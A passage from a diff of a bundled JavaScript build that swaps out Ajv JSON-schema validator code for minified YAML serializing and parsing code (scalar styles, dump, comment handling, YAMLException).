Math.max(1, i9), s9 = -1 === e12.lineWidth ? -1 : Math.max(Math.min(e12.lineWidth, 40), e12.lineWidth - o9), a8 = n9 || e12.flowLevel > -1 && i9 >= e12.flowLevel; + switch (function(e13, t11, i10, n10, r9) { + var o10, s10, a9, p8, c8 = false, f9 = false, l8 = -1 !== n10, k7 = -1, M7 = F6(p8 = e13.charCodeAt(0)) && 65279 !== p8 && !N6(p8) && p8 !== $5 && p8 !== S6 && p8 !== x7 && p8 !== j6 && p8 !== O7 && p8 !== T6 && p8 !== I6 && p8 !== q5 && p8 !== h8 && p8 !== g7 && p8 !== v8 && p8 !== u7 && p8 !== E6 && p8 !== _6 && p8 !== w6 && p8 !== b8 && p8 !== m7 && p8 !== y7 && p8 !== P6 && p8 !== A6 && !N6(e13.charCodeAt(e13.length - 1)); + if (t11) + for (o10 = 0; o10 < e13.length; o10++) { + if (!F6(s10 = e13.charCodeAt(o10))) + return H5; + a9 = o10 > 0 ? e13.charCodeAt(o10 - 1) : null, M7 = M7 && U6(s10, a9); + } + else { + for (o10 = 0; o10 < e13.length; o10++) { + if ((s10 = e13.charCodeAt(o10)) === d7) + c8 = true, l8 && (f9 = f9 || o10 - k7 - 1 > n10 && " " !== e13[k7 + 1], k7 = o10); + else if (!F6(s10)) + return H5; + a9 = o10 > 0 ? e13.charCodeAt(o10 - 1) : null, M7 = M7 && U6(s10, a9); + } + f9 = f9 || l8 && o10 - k7 - 1 > n10 && " " !== e13[k7 + 1]; + } + return c8 || f9 ? i10 > 9 && L6(e13) ? H5 : f9 ? K5 : Q5 : M7 && !r9(e13) ? z6 : B6; + }(t10, a8, e12.indent, s9, function(t11) { + return function(e13, t12) { + var i10, n10; + for (i10 = 0, n10 = e13.implicitTypes.length; i10 < n10; i10 += 1) + if (e13.implicitTypes[i10].resolve(t12)) + return true; + return false; + }(e12, t11); + })) { + case z6: + return t10; + case B6: + return "'" + t10.replace(/'/g, "''") + "'"; + case Q5: + return "|" + W5(t10, e12.indent) + J5(C6(t10, o9)); + case K5: + return ">" + W5(t10, e12.indent) + J5(C6(function(e13, t11) { + for (var i10, n10, r9, o10 = /(\n+)([^\n]*)/g, s10 = (r9 = -1 !== (r9 = e13.indexOf("\n")) ? r9 : e13.length, o10.lastIndex = r9, Z5(e13.slice(0, r9), t11)), a9 = "\n" === e13[0] || " " === e13[0]; n10 = o10.exec(e13); ) { + var p8 = n10[1], c8 = n10[2]; + i10 = " " === c8[0], s10 += p8 + (a9 || i10 || "" === c8 ? "" : "\n") + Z5(c8, t11), a9 = i10; + } + return s10; + }(t10, s9), o9)); + case H5: + return '"' + function(e13) { + for (var t11, i10, n10, r9 = "", o10 = 0; o10 < e13.length; o10++) + (t11 = e13.charCodeAt(o10)) >= 55296 && t11 <= 56319 && (i10 = e13.charCodeAt(o10 + 1)) >= 56320 && i10 <= 57343 ? (r9 += R6(1024 * (t11 - 55296) + i10 - 56320 + 65536), o10++) : r9 += !(n10 = k6[t11]) && F6(t11) ? e13[o10] : n10 || R6(t11); + return r9; + }(t10) + '"'; + default: + throw new r8("impossible error: invalid scalar style"); + } + }(); + if (!n9) { + let t11 = new oe4(e12, o8).write(i9, "before-eol"); + "" !== t11 && (s8 += " " + t11); } + e12.dump = s8; } - async function loadMissingSchema(ref) { - const _schema = await _loadSchema.call(this, ref); - if (!this.refs[ref]) - await loadMetaSchema.call(this, _schema.$schema); - if (!this.refs[ref]) - this.addSchema(_schema, ref, meta); + function W5(e12, t10) { + var i9 = L6(e12) ? String(t10) : "", n9 = "\n" === e12[e12.length - 1]; + return i9 + (!n9 || "\n" !== e12[e12.length - 2] && "\n" !== e12 ? n9 ? "" : "-" : "+") + "\n"; } - async function _loadSchema(ref) { - const p7 = this._loading[ref]; - if (p7) - return p7; - try { - return await (this._loading[ref] = loadSchema(ref)); - } finally { - delete this._loading[ref]; - } + function J5(e12) { + return "\n" === e12[e12.length - 1] ? e12.slice(0, -1) : e12; } - } - // Adds schema to the instance - addSchema(schema8, key, _meta, _validateSchema = this.opts.validateSchema) { - if (Array.isArray(schema8)) { - for (const sch of schema8) - this.addSchema(sch, void 0, _meta, _validateSchema); - return this; + function Z5(e12, t10) { + if ("" === e12 || " " === e12[0]) + return e12; + for (var i9, n9, r9 = / [^ ]/g, o8 = 0, s8 = 0, a8 = 0, p8 = ""; i9 = r9.exec(e12); ) + (a8 = i9.index) - o8 > t10 && (n9 = s8 > o8 ? s8 : a8, p8 += "\n" + e12.slice(o8, n9), o8 = n9 + 1), s8 = a8; + return p8 += "\n", e12.length - o8 > t10 && s8 > o8 ? p8 += e12.slice(o8, s8) + "\n" + e12.slice(s8 + 1) : p8 += e12.slice(o8), p8.slice(1); } - let id; - if (typeof schema8 === "object") { - const { schemaId } = this.opts; - id = schema8[schemaId]; - if (id !== void 0 && typeof id != "string") { - throw new Error(`schema ${schemaId} must be string`); - } + function Y6(e12, t10, i9) { + var n9, o8, s8, c8, d8, f9; + for (s8 = 0, c8 = (o8 = i9 ? e12.explicitTypes : e12.implicitTypes).length; s8 < c8; s8 += 1) + if (((d8 = o8[s8]).instanceOf || d8.predicate) && (!d8.instanceOf || "object" == typeof t10 && t10 instanceof d8.instanceOf) && (!d8.predicate || d8.predicate(t10))) { + if (e12.tag = i9 ? d8.tag : "?", d8.represent) { + if (f9 = e12.styleMap[d8.tag] || d8.defaultStyle, "[object Function]" === a7.call(d8.represent)) + n9 = d8.represent(t10, f9); + else { + if (!p7.call(d8.represent, f9)) + throw new r8("!<" + d8.tag + '> tag resolver accepts not "' + f9 + '" style'); + n9 = d8.represent[f9](t10, f9); + } + e12.dump = n9; + } + return true; + } + return false; } - key = (0, resolve_1.normalizeId)(key || id); - this._checkUnique(key); - this.schemas[key] = this._addSchema(schema8, _meta, key, _validateSchema, true); - return this; - } - // Add schema that will be used to validate other schemas - // options in META_IGNORE_OPTIONS are alway set to false - addMetaSchema(schema8, key, _validateSchema = this.opts.validateSchema) { - this.addSchema(schema8, key, true, _validateSchema); - return this; - } - // Validate schema against its meta-schema - validateSchema(schema8, throwOrLogError) { - if (typeof schema8 == "boolean") + function X5(e12, t10, i9, n9, o8, s8, p8) { + e12.tag = null, e12.dump = i9, Y6(e12, i9, false) || Y6(e12, i9, true); + var c8 = a7.call(e12.dump); + n9 && (n9 = e12.flowLevel < 0 || e12.flowLevel > t10), (null !== e12.tag && "?" !== e12.tag || 2 !== e12.indent && t10 > 0) && (o8 = false); + var f9, l8, u8 = "[object Object]" === c8 || "[object Array]" === c8; + if (u8 && (l8 = -1 !== (f9 = e12.duplicates.indexOf(i9))), (null !== e12.tag && "?" !== e12.tag || l8 || 2 !== e12.indent && t10 > 0) && (o8 = false), l8 && e12.usedDuplicates[f9]) + e12.dump = "*ref_" + f9; + else { + if (u8 && l8 && !e12.usedDuplicates[f9] && (e12.usedDuplicates[f9] = true), "[object Object]" === c8) + n9 && 0 !== Object.keys(e12.dump).length ? (function(e13, t11, i10, n10, o9) { + var s9, a8, p9, c9, f10, l9, u9 = "", m9 = e13.tag, h9 = Object.keys(i10); + if (true === e13.sortKeys) + h9.sort(); + else if ("function" == typeof e13.sortKeys) + h9.sort(e13.sortKeys); + else if (e13.sortKeys) + throw new r8("sortKeys must be a boolean or a function"); + var y8, g8 = new oe4(e13, o9); + for (u9 += g8.write(t11, "before-eol"), u9 += g8.write(t11, "leading"), s9 = 0, a8 = h9.length; s9 < a8; s9 += 1) + l9 = "", n10 && 0 === s9 || (l9 += V5(e13, t11)), c9 = i10[p9 = h9[s9]], u9 += g8.writeAt(p9, t11, "before"), X5(e13, t11 + 1, p9, true, true, true, o9) && ((f10 = null !== e13.tag && "?" !== e13.tag || e13.dump && e13.dump.length > 1024) && (e13.dump && d7 === e13.dump.charCodeAt(0) ? l9 += "?" : l9 += "? "), l9 += e13.dump, f10 && (l9 += V5(e13, t11)), X5(e13, t11 + 1, c9, true, f10, false, `${o9}/${y8 = p9, y8.replace(ne4, "~0").replace(re4, "~1")}`) && (e13.dump && d7 === e13.dump.charCodeAt(0) ? l9 += ":" : l9 += ": ", u9 += l9 += e13.dump, u9 += g8.writeAt(t11, p9, "after"))); + e13.tag = m9, e13.dump = u9 || "{}", e13.dump += g8.write(t11, "trailing"); + }(e12, t10, e12.dump, o8, p8), l8 && (e12.dump = "&ref_" + f9 + e12.dump)) : (function(e13, t11, i10, n10) { + var r9, o9, s9, a8, p9, c9 = "", d8 = e13.tag, f10 = Object.keys(i10); + for (r9 = 0, o9 = f10.length; r9 < o9; r9 += 1) + p9 = "", 0 !== r9 && (p9 += ", "), e13.condenseFlow && (p9 += '"'), a8 = i10[s9 = f10[r9]], X5(e13, t11, s9, false, false, false, n10) && (e13.dump.length > 1024 && (p9 += "? "), p9 += e13.dump + (e13.condenseFlow ? '"' : "") + ":" + (e13.condenseFlow ? "" : " "), X5(e13, t11, a8, false, false, false, n10) && (c9 += p9 += e13.dump)); + e13.tag = d8, e13.dump = "{" + c9 + "}"; + }(e12, t10, e12.dump, p8), l8 && (e12.dump = "&ref_" + f9 + " " + e12.dump)); + else if ("[object Array]" === c8) { + var m8 = e12.noArrayIndent && t10 > 0 ? t10 - 1 : t10; + n9 && 0 !== e12.dump.length ? (function(e13, t11, i10, n10, r9) { + var o9, s9, a8 = "", p9 = e13.tag, c9 = new oe4(e13, r9); + for (a8 += c9.write(t11, "before-eol"), a8 += c9.write(t11, "leading"), o9 = 0, s9 = i10.length; o9 < s9; o9 += 1) + a8 += c9.writeAt(String(o9), t11, "before"), X5(e13, t11 + 1, i10[o9], true, true, false, `${r9}/${o9}`) && (n10 && 0 === o9 || (a8 += V5(e13, t11)), e13.dump && d7 === e13.dump.charCodeAt(0) ? a8 += "-" : a8 += "- ", a8 += e13.dump), a8 += c9.writeAt(String(o9), t11, "after"); + e13.tag = p9, e13.dump = a8 || "[]", e13.dump += c9.write(t11, "trailing"); + }(e12, m8, e12.dump, o8, p8), l8 && (e12.dump = "&ref_" + f9 + e12.dump)) : (function(e13, t11, i10, n10) { + var r9, o9, s9 = "", a8 = e13.tag; + for (r9 = 0, o9 = i10.length; r9 < o9; r9 += 1) + X5(e13, t11, i10[r9], false, false, false, n10) && (0 !== r9 && (s9 += "," + (e13.condenseFlow ? "" : " ")), s9 += e13.dump); + e13.tag = a8, e13.dump = "[" + s9 + "]"; + }(e12, m8, e12.dump, p8), l8 && (e12.dump = "&ref_" + f9 + " " + e12.dump)); + } else { + if ("[object String]" !== c8) { + if (e12.skipInvalid) + return false; + throw new r8("unacceptable kind of an object to dump " + c8); + } + "?" !== e12.tag && G5(e12, e12.dump, t10, s8, p8); + } + null !== e12.tag && "?" !== e12.tag && (e12.dump = "!<" + e12.tag + "> " + e12.dump); + } return true; - let $schema; - $schema = schema8.$schema; - if ($schema !== void 0 && typeof $schema != "string") { - throw new Error("$schema must be a string"); } - $schema = $schema || this.opts.defaultMeta || this.defaultMeta(); - if (!$schema) { - this.logger.warn("meta-schema not available"); - this.errors = null; - return true; + function ee4(e12, t10) { + var i9, n9, r9 = [], o8 = []; + for (te4(e12, r9, o8), i9 = 0, n9 = o8.length; i9 < n9; i9 += 1) + t10.duplicates.push(r9[o8[i9]]); + t10.usedDuplicates = new Array(n9); } - const valid = this.validate($schema, schema8); - if (!valid && throwOrLogError) { - const message = "schema is invalid: " + this.errorsText(); - if (this.opts.validateSchema === "log") - this.logger.error(message); - else - throw new Error(message); + function te4(e12, t10, i9) { + var n9, r9, o8; + if (null !== e12 && "object" == typeof e12) + if (-1 !== (r9 = t10.indexOf(e12))) + -1 === i9.indexOf(r9) && i9.push(r9); + else if (t10.push(e12), Array.isArray(e12)) + for (r9 = 0, o8 = e12.length; r9 < o8; r9 += 1) + te4(e12[r9], t10, i9); + else + for (r9 = 0, o8 = (n9 = Object.keys(e12)).length; r9 < o8; r9 += 1) + te4(e12[n9[r9]], t10, i9); } - return valid; - } - // Get compiled schema by `key` or `ref`. - // (`key` that was passed to `addSchema` or full schema reference - `schema.$id` or resolved id) - getSchema(keyRef) { - let sch; - while (typeof (sch = getSchEnv.call(this, keyRef)) == "string") - keyRef = sch; - if (sch === void 0) { - const { schemaId } = this.opts; - const root2 = new compile_1.SchemaEnv({ schema: {}, schemaId }); - sch = compile_1.resolveSchema.call(this, root2, keyRef); - if (!sch) - return; - this.refs[keyRef] = sch; + function ie3(e12, t10) { + var i9 = new D6(t10 = t10 || {}); + return t10.noRefs || ee4(e12, i9), X5(i9, 0, e12, true, true, false, "#") ? i9.dump + "\n" : ""; } - return sch.validate || this._compileSchemaEnv(sch); - } - // Remove cached schema(s). - // If no parameter is passed all schemas but meta-schemas are removed. - // If RegExp is passed all schemas with key/id matching pattern but meta-schemas are removed. - // Even if schema is referenced by other schemas it still can be removed as other schemas have local references. - removeSchema(schemaKeyRef) { - if (schemaKeyRef instanceof RegExp) { - this._removeAllSchemas(this.schemas, schemaKeyRef); - this._removeAllSchemas(this.refs, schemaKeyRef); - return this; + t9.dump = ie3, t9.safeDump = function(e12, t10) { + return ie3(e12, n8.extend({ schema: s7 }, t10)); + }; + const ne4 = /~/g, re4 = /\//g; + function oe4(e12, t10) { + if (this.state = e12, this.comments = { "before-eol": /* @__PURE__ */ new Set(), leading: /* @__PURE__ */ new Set(), trailing: /* @__PURE__ */ new Set(), before: /* @__PURE__ */ new Map(), after: /* @__PURE__ */ new Map() }, this.written = /* @__PURE__ */ new WeakSet(), null !== e12.comments && t10 in e12.comments) + for (let i9 of e12.comments[t10]) + switch (i9.placement) { + case "before-eol": + case "leading": + case "trailing": + this.comments[i9.placement].add(i9); + break; + case "between": + let e13 = this.comments.before.get(i9.between[1]); + e13 ? e13.add(i9) : this.comments.before.set(i9.between[1], /* @__PURE__ */ new Set([i9])); + let t11 = this.comments.after.get(i9.between[0]); + t11 ? t11.add(i9) : this.comments.after.set(i9.between[0], /* @__PURE__ */ new Set([i9])); + } } - switch (typeof schemaKeyRef) { - case "undefined": - this._removeAllSchemas(this.schemas); - this._removeAllSchemas(this.refs); - this._cache.clear(); - return this; - case "string": { - const sch = getSchEnv.call(this, schemaKeyRef); - if (typeof sch == "object") - this._cache.delete(sch.schema); - delete this.schemas[schemaKeyRef]; - delete this.refs[schemaKeyRef]; - return this; + oe4.prototype.write = function(e12, t10) { + let i9 = ""; + for (let n9 of this.comments[t10]) + i9 += this._write(n9, e12); + return i9; + }, oe4.prototype.writeAt = function(e12, t10, i9) { + let n9 = "", r9 = this.comments[i9].get(e12); + if (r9) + for (let e13 of r9) + n9 += this._write(e13, t10); + return n9; + }, oe4.prototype._write = function(e12, t10) { + if (this.written.has(e12)) + return ""; + this.written.add(e12); + let i9 = "#" + e12.value; + return "before-eol" === e12.placement ? i9 : 0 === t10 && "leading" === e12.placement ? i9 + "\n" : V5(this.state, t10) + i9; + }; + }, 94716: (e11) => { + "use strict"; + class t9 { + constructor(e12, t10 = null, i8 = false) { + this.name = "YAMLException", this.reason = e12, this.mark = t10, this.message = this.toString(false), this.isWarning = i8; } - case "object": { - const cacheKey = schemaKeyRef; - this._cache.delete(cacheKey); - let id = schemaKeyRef[this.opts.schemaId]; - if (id) { - id = (0, resolve_1.normalizeId)(id); - delete this.schemas[id]; - delete this.refs[id]; + static isInstance(e12) { + if (null != e12 && e12.getClassIdentifier && "function" == typeof e12.getClassIdentifier) { + for (let i8 of e12.getClassIdentifier()) + if (i8 == t9.CLASS_IDENTIFIER) + return true; } - return this; - } - default: - throw new Error("ajv.removeSchema: invalid parameter"); - } - } - // add "vocabulary" - a collection of keywords - addVocabulary(definitions) { - for (const def of definitions) - this.addKeyword(def); - return this; - } - addKeyword(kwdOrDef, def) { - let keyword; - if (typeof kwdOrDef == "string") { - keyword = kwdOrDef; - if (typeof def == "object") { - this.logger.warn("these parameters are deprecated, see docs for addKeyword"); - def.keyword = keyword; + return false; } - } else if (typeof kwdOrDef == "object" && def === void 0) { - def = kwdOrDef; - keyword = def.keyword; - if (Array.isArray(keyword) && !keyword.length) { - throw new Error("addKeywords: keyword must be string or non-empty array"); + getClassIdentifier() { + return [].concat(t9.CLASS_IDENTIFIER); } - } else { - throw new Error("invalid addKeywords parameters"); - } - checkKeyword.call(this, keyword, def); - if (!def) { - (0, util_1.eachItem)(keyword, (kwd) => addRule.call(this, kwd)); - return this; - } - keywordMetaschema.call(this, def); - const definition = { - ...def, - type: (0, dataType_1.getJSONTypes)(def.type), - schemaType: (0, dataType_1.getJSONTypes)(def.schemaType) - }; - (0, util_1.eachItem)(keyword, definition.type.length === 0 ? (k6) => addRule.call(this, k6, definition) : (k6) => definition.type.forEach((t8) => addRule.call(this, k6, definition, t8))); - return this; - } - getKeyword(keyword) { - const rule = this.RULES.all[keyword]; - return typeof rule == "object" ? rule.definition : !!rule; - } - // Remove keyword - removeKeyword(keyword) { - const { RULES } = this; - delete RULES.keywords[keyword]; - delete RULES.all[keyword]; - for (const group2 of RULES.rules) { - const i7 = group2.rules.findIndex((rule) => rule.keyword === keyword); - if (i7 >= 0) - group2.rules.splice(i7, 1); - } - return this; - } - // Add format - addFormat(name2, format5) { - if (typeof format5 == "string") - format5 = new RegExp(format5); - this.formats[name2] = format5; - return this; - } - errorsText(errors = this.errors, { separator = ", ", dataVar = "data" } = {}) { - if (!errors || errors.length === 0) - return "No errors"; - return errors.map((e10) => `${dataVar}${e10.instancePath} ${e10.message}`).reduce((text, msg) => text + separator + msg); - } - $dataMetaSchema(metaSchema, keywordsJsonPointers) { - const rules = this.RULES.all; - metaSchema = JSON.parse(JSON.stringify(metaSchema)); - for (const jsonPointer of keywordsJsonPointers) { - const segments = jsonPointer.split("/").slice(1); - let keywords = metaSchema; - for (const seg of segments) - keywords = keywords[seg]; - for (const key in rules) { - const rule = rules[key]; - if (typeof rule != "object") - continue; - const { $data } = rule.definition; - const schema8 = keywords[key]; - if ($data && schema8) - keywords[key] = schemaOrData(schema8); + toString(e12 = false) { + var t10; + return t10 = "JS-YAML: " + (this.reason || "(unknown reason)"), !e12 && this.mark && (t10 += " " + this.mark.toString()), t10; } } - return metaSchema; - } - _removeAllSchemas(schemas5, regex) { - for (const keyRef in schemas5) { - const sch = schemas5[keyRef]; - if (!regex || regex.test(keyRef)) { - if (typeof sch == "string") { - delete schemas5[keyRef]; - } else if (sch && !sch.meta) { - this._cache.delete(sch.schema); - delete schemas5[keyRef]; - } - } + t9.CLASS_IDENTIFIER = "yaml-ast-parser.YAMLException", e11.exports = t9; + }, 85725: (e11, t9, i8) => { + "use strict"; + function n8(e12) { + for (var i9 in e12) + t9.hasOwnProperty(i9) || (t9[i9] = e12[i9]); } - } - _addSchema(schema8, meta, baseId, validateSchema4 = this.opts.validateSchema, addSchema = this.opts.addUsedSchema) { - let id; - const { schemaId } = this.opts; - if (typeof schema8 == "object") { - id = schema8[schemaId]; - } else { - if (this.opts.jtd) - throw new Error("schema must be object"); - else if (typeof schema8 != "boolean") - throw new Error("schema must be object or boolean"); + Object.defineProperty(t9, "__esModule", { value: true }); + var r8 = i8(89130); + t9.load = r8.load, t9.loadAll = r8.loadAll, t9.safeLoad = r8.safeLoad, t9.safeLoadAll = r8.safeLoadAll; + var o7 = i8(17128); + t9.dump = o7.dump, t9.safeDump = o7.safeDump, t9.YAMLException = i8(94716), n8(i8(37952)), n8(i8(58198)); + }, 89130: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(37952), r8 = i8(29228), o7 = i8(94716), s7 = i8(57804), a7 = i8(23102), p7 = i8(80406); + var c7 = Object.prototype.hasOwnProperty, d7 = 1, f8 = 2, l7 = 3, u7 = 4, m7 = 1, h8 = 2, y7 = 3, g7 = /[\x00-\x08\x0B\x0C\x0E-\x1F\x7F-\x84\x86-\x9F\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/, b8 = /[\x85\u2028\u2029]/, v8 = /[,\[\]\{\}]/, j6 = /^(?:!|!!|![a-z\-]+!)$/i, $5 = /^(?:!|[^,\[\]\{\}])(?:%[0-9a-f]{2}|[0-9a-z\-#;\/\?:@&=\+\$,_\.!~\*'\(\)\[\]])*$/i; + function x7(e12) { + return 10 === e12 || 13 === e12; } - let sch = this._cache.get(schema8); - if (sch !== void 0) - return sch; - baseId = (0, resolve_1.normalizeId)(id || baseId); - const localRefs = resolve_1.getSchemaRefs.call(this, schema8, baseId); - sch = new compile_1.SchemaEnv({ schema: schema8, schemaId, meta, baseId, localRefs }); - this._cache.set(sch.schema, sch); - if (addSchema && !baseId.startsWith("#")) { - if (baseId) - this._checkUnique(baseId); - this.refs[baseId] = sch; + function _6(e12) { + return 9 === e12 || 32 === e12; } - if (validateSchema4) - this.validateSchema(schema8, true); - return sch; - } - _checkUnique(id) { - if (this.schemas[id] || this.refs[id]) { - throw new Error(`schema with key or id "${id}" already exists`); + function w6(e12) { + return 9 === e12 || 32 === e12 || 10 === e12 || 13 === e12; } - } - _compileSchemaEnv(sch) { - if (sch.meta) - this._compileMetaSchema(sch); - else - compile_1.compileSchema.call(this, sch); - if (!sch.validate) - throw new Error("ajv implementation error"); - return sch.validate; - } - _compileMetaSchema(sch) { - const currentOpts = this.opts; - this.opts = this._metaOpts; - try { - compile_1.compileSchema.call(this, sch); - } finally { - this.opts = currentOpts; + function S6(e12) { + return 44 === e12 || 91 === e12 || 93 === e12 || 123 === e12 || 125 === e12; } - } - }; - Ajv7.ValidationError = validation_error_1.default; - Ajv7.MissingRefError = ref_error_1.default; - exports28.default = Ajv7; - function checkOptions(checkOpts, options, msg, log3 = "error") { - for (const key in checkOpts) { - const opt = key; - if (opt in options) - this.logger[log3](`${msg}: option ${key}. ${checkOpts[opt]}`); - } - } - function getSchEnv(keyRef) { - keyRef = (0, resolve_1.normalizeId)(keyRef); - return this.schemas[keyRef] || this.refs[keyRef]; - } - function addInitialSchemas() { - const optsSchemas = this.opts.schemas; - if (!optsSchemas) - return; - if (Array.isArray(optsSchemas)) - this.addSchema(optsSchemas); - else - for (const key in optsSchemas) - this.addSchema(optsSchemas[key], key); - } - function addInitialFormats() { - for (const name2 in this.opts.formats) { - const format5 = this.opts.formats[name2]; - if (format5) - this.addFormat(name2, format5); - } - } - function addInitialKeywords(defs) { - if (Array.isArray(defs)) { - this.addVocabulary(defs); - return; - } - this.logger.warn("keywords option as map is deprecated, pass array"); - for (const keyword in defs) { - const def = defs[keyword]; - if (!def.keyword) - def.keyword = keyword; - this.addKeyword(def); - } - } - function getMetaSchemaOptions() { - const metaOpts = { ...this.opts }; - for (const opt of META_IGNORE_OPTIONS) - delete metaOpts[opt]; - return metaOpts; - } - var noLogs = { log() { - }, warn() { - }, error() { - } }; - function getLogger(logger) { - if (logger === false) - return noLogs; - if (logger === void 0) - return console; - if (logger.log && logger.warn && logger.error) - return logger; - throw new Error("logger must implement log, warn and error methods"); - } - var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; - function checkKeyword(keyword, def) { - const { RULES } = this; - (0, util_1.eachItem)(keyword, (kwd) => { - if (RULES.keywords[kwd]) - throw new Error(`Keyword ${kwd} is already defined`); - if (!KEYWORD_NAME.test(kwd)) - throw new Error(`Keyword ${kwd} has invalid name`); - }); - if (!def) - return; - if (def.$data && !("code" in def || "validate" in def)) { - throw new Error('$data keyword must have "code" or "validate" function'); - } - } - function addRule(keyword, definition, dataType) { - var _a2; - const post = definition === null || definition === void 0 ? void 0 : definition.post; - if (dataType && post) - throw new Error('keyword with "post" flag cannot have "type"'); - const { RULES } = this; - let ruleGroup = post ? RULES.post : RULES.rules.find(({ type: t8 }) => t8 === dataType); - if (!ruleGroup) { - ruleGroup = { type: dataType, rules: [] }; - RULES.rules.push(ruleGroup); - } - RULES.keywords[keyword] = true; - if (!definition) - return; - const rule = { - keyword, - definition: { - ...definition, - type: (0, dataType_1.getJSONTypes)(definition.type), - schemaType: (0, dataType_1.getJSONTypes)(definition.schemaType) + function P6(e12) { + var t10; + return 48 <= e12 && e12 <= 57 ? e12 - 48 : 97 <= (t10 = 32 | e12) && t10 <= 102 ? t10 - 97 + 10 : -1; } - }; - if (definition.before) - addBeforeRule.call(this, ruleGroup, rule, definition.before); - else - ruleGroup.rules.push(rule); - RULES.all[keyword] = rule; - (_a2 = definition.implements) === null || _a2 === void 0 ? void 0 : _a2.forEach((kwd) => this.addKeyword(kwd)); - } - function addBeforeRule(ruleGroup, rule, before2) { - const i7 = ruleGroup.rules.findIndex((_rule) => _rule.keyword === before2); - if (i7 >= 0) { - ruleGroup.rules.splice(i7, 0, rule); - } else { - ruleGroup.rules.push(rule); - this.logger.warn(`rule ${before2} is not defined`); - } - } - function keywordMetaschema(def) { - let { metaSchema } = def; - if (metaSchema === void 0) - return; - if (def.$data && this.opts.$data) - metaSchema = schemaOrData(metaSchema); - def.validateSchema = this.compile(metaSchema, true); - } - var $dataRef = { - $ref: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#" - }; - function schemaOrData(schema8) { - return { anyOf: [schema8, $dataRef] }; - } - } -}); - -// node_modules/ajv/dist/vocabularies/core/id.js -var require_id = __commonJS({ - "node_modules/ajv/dist/vocabularies/core/id.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var def = { - keyword: "id", - code() { - throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID'); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/core/ref.js -var require_ref = __commonJS({ - "node_modules/ajv/dist/vocabularies/core/ref.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.callRef = exports28.getValidate = void 0; - var ref_error_1 = require_ref_error(); - var code_1 = require_code2(); - var codegen_1 = require_codegen(); - var names_1 = require_names(); - var compile_1 = require_compile(); - var util_1 = require_util(); - var def = { - keyword: "$ref", - schemaType: "string", - code(cxt) { - const { gen, schema: $ref, it: it2 } = cxt; - const { baseId, schemaEnv: env3, validateName, opts, self: self2 } = it2; - const { root: root2 } = env3; - if (($ref === "#" || $ref === "#/") && baseId === root2.baseId) - return callRootRef(); - const schOrEnv = compile_1.resolveRef.call(self2, root2, baseId, $ref); - if (schOrEnv === void 0) - throw new ref_error_1.default(it2.opts.uriResolver, baseId, $ref); - if (schOrEnv instanceof compile_1.SchemaEnv) - return callValidate(schOrEnv); - return inlineRefSchema(schOrEnv); - function callRootRef() { - if (env3 === root2) - return callRef(cxt, validateName, env3, env3.$async); - const rootName = gen.scopeValue("root", { ref: root2 }); - return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root2, root2.$async); + function O7(e12) { + return 120 === e12 ? 2 : 117 === e12 ? 4 : 85 === e12 ? 8 : 0; } - function callValidate(sch) { - const v8 = getValidate(cxt, sch); - callRef(cxt, v8, sch, sch.$async); + function T6(e12) { + return 48 <= e12 && e12 <= 57 ? e12 - 48 : -1; } - function inlineRefSchema(sch) { - const schName = gen.scopeValue("schema", opts.code.source === true ? { ref: sch, code: (0, codegen_1.stringify)(sch) } : { ref: sch }); - const valid = gen.name("valid"); - const schCxt = cxt.subschema({ - schema: sch, - dataTypes: [], - schemaPath: codegen_1.nil, - topSchemaRef: schName, - errSchemaPath: $ref - }, valid); - cxt.mergeEvaluated(schCxt); - cxt.ok(valid); + function A6(e12) { + return e12 <= 65535 ? String.fromCharCode(e12) : String.fromCharCode(55296 + (e12 - 65536 >> 10), 56320 + (e12 - 65536 & 1023)); } - } - }; - function getValidate(cxt, sch) { - const { gen } = cxt; - return sch.validate ? gen.scopeValue("validate", { ref: sch.validate }) : (0, codegen_1._)`${gen.scopeValue("wrapper", { ref: sch })}.validate`; - } - exports28.getValidate = getValidate; - function callRef(cxt, v8, sch, $async) { - const { gen, it: it2 } = cxt; - const { allErrors, schemaEnv: env3, opts } = it2; - const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; - if ($async) - callAsyncRef(); - else - callSyncRef(); - function callAsyncRef() { - if (!env3.$async) - throw new Error("async schema referenced by sync schema"); - const valid = gen.let("valid"); - gen.try(() => { - gen.code((0, codegen_1._)`await ${(0, code_1.callValidateCode)(cxt, v8, passCxt)}`); - addEvaluatedFrom(v8); - if (!allErrors) - gen.assign(valid, true); - }, (e10) => { - gen.if((0, codegen_1._)`!(${e10} instanceof ${it2.ValidationError})`, () => gen.throw(e10)); - addErrorsFrom(e10); - if (!allErrors) - gen.assign(valid, false); - }); - cxt.ok(valid); - } - function callSyncRef() { - cxt.result((0, code_1.callValidateCode)(cxt, v8, passCxt), () => addEvaluatedFrom(v8), () => addErrorsFrom(v8)); - } - function addErrorsFrom(source) { - const errs = (0, codegen_1._)`${source}.errors`; - gen.assign(names_1.default.vErrors, (0, codegen_1._)`${names_1.default.vErrors} === null ? ${errs} : ${names_1.default.vErrors}.concat(${errs})`); - gen.assign(names_1.default.errors, (0, codegen_1._)`${names_1.default.vErrors}.length`); - } - function addEvaluatedFrom(source) { - var _a2; - if (!it2.opts.unevaluated) - return; - const schEvaluated = (_a2 = sch === null || sch === void 0 ? void 0 : sch.validate) === null || _a2 === void 0 ? void 0 : _a2.evaluated; - if (it2.props !== true) { - if (schEvaluated && !schEvaluated.dynamicProps) { - if (schEvaluated.props !== void 0) { - it2.props = util_1.mergeEvaluated.props(gen, schEvaluated.props, it2.props); - } - } else { - const props = gen.var("props", (0, codegen_1._)`${source}.evaluated.props`); - it2.props = util_1.mergeEvaluated.props(gen, props, it2.props, codegen_1.Name); + for (var I6, E6 = new Array(256), q5 = new Array(256), k6 = new Array(256), M6 = new Array(256), R6 = 0; R6 < 256; R6++) + 